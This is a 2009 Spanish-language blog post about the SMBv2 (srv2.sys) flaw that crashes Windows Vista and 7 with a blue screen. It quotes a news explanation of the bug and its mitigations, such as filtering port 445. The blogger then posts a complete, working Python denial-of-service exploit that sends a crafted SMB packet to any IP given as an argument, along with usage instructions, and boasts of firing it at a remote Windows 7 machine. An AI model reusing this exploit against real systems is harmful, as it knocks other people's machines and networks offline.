martes, 8 de septiembre de 2009

BSOD en Windows Vista y 7

Si, un "Pantallazo Azul" ataca de nuevo a nuestro fabricante favorito de Software Microsoft.
Se acuerdan de aquel Ping of Death, pues esta falla es más divertida.

Tengo un poco de flojera, asi que posteare lo que encontre en la WEB:

Laurent Gaffié ha detectado un fallo de seguridad en Windows Vista que
podría permitir a un atacante provocar un BSOD (pantallazo azul, una
denegación de servicio) con solo enviar algunos paquetes de red
manipulados a una máquina que tenga activos los servicios de
compartición de archivos (protocolo SMB).

El fallo (incomprensiblemente simple) está en el intérprete de las
cabeceras SMB, concretamente en el driver srv2.sys. Como los
controladores operan en el "ring0", la capa de abstracción del sistema
operativo más cercana al hardware (en contraste con el "ring3", la capa
de usuario que no interactúa directamente con él) un fallo en cualquier
driver provoca que el sistema se bloquee por completo, al no poder
manejar la excepción correctamente. Se trata del temido pantallazo azul,
o BSOD. Los Windows anteriores a Windows 2000 no realizaban esta
separación de seguridad entre capas, por lo que todo operaba en el mismo
espacio de memoria y los fallos en el espacio de usuario podían causar
un bloqueo total del sistema. De ahí que los pantallazos azules fuesen
mucho más comunes en Windows 9x y Me.

El ataque es tan sencillo que recuerda a los "pings de la muerte" que
hicieron estragos a finales de los 90 en los sistemas Windows. Contenían
un fallo en la pila TCP que hacía que, si se enviaba un ping al sistema
especialmente manipulado (simplemente especificando con un parámetro,
por ejemplo, un tamaño mayor del paquete) se podía hacer que el sistema
dejara de responder. Esto, unido a la carencia de cortafuegos del
sistema, a que en aquellos momentos las conexiones se realizaban a
través de módem (que carecía de protección por cortafuegos o NAT) y el
hecho de no existir servicio de actualización automático del sistema,
hicieron muy popular el ataque.

Este fallo en el protocolo SMBv2 de compartición de archivos requiere
igualmente del envío de una sencilla secuencia de paquetes SMB (al
puerto 445) al sistema víctima con las cabeceras manipuladas. El truco
está en enviar un carácter "&" en el campo "Process Id High" de las
cabeceras SMBv2. Esto provoca una excepción en srv2.sys que provoca el
pantallazo azul. El exploit es público y realmente sencillo.

Vista mantiene el cortafuegos activo por defecto para su perfil
"público", y esto mitiga el problema. Pero todo depende del perfil. Si
el usuario usa un perfil de cortafuegos (ya sea de dominio, o el perfil
privado) en el que permite las conexiones a sus unidades compartidas
(puerto 445, normalmente abierto en las redes locales) será vulnerable.
No es necesario que comparta realmente una unidad, solo que el protocolo
SMB esté activo y preparado para compartir en su sistema. Esto puede
resultar especialmente grave en redes internas.

No existe parche oficial disponible. Se recomienda filtrar el puerto 445
(y los implicados también en la compartición de ficheros 137-139) a
través de cortafuegos. También es posible detener el servicio "Servidor"
del sistema (aunque se puede llegar a perder funcionalidad). Otra
contramedida posible es desactivar la casilla "compartir archivos e
impresoras" que aparece en las propiedades de las interfaces de red.

Aunque el ataque no permite ejecución de código y es poco viable que
pueda propagarse por la red pública, sí que puede resultar más que
molesto en redes internas donde los usuarios normalmente mantienen
reglas de cortafuegos mucho más relajadas.


Bueno, despues de tanto yara yara, consegui el código desde el sitio de Laurent, la persona que descubrio la vulnerabilidad; esta en Python y lo modifique un poco para poder poner cualquier IP:
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep
import sys

host = sys.argv[1], 445
print 'Trying to Pwn ',host

buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


Uso: smbbsod.py hostname

Pero para hacerlo más interesante (si, en veces entran los Geek Moments) instale Python en el iPod touch y desde ahi ejecute el script a un equipo remoto con Windows 7 :P, despues pongo una picture.

Fuentes:
Sitio de Laurent Gaffié
Hispasec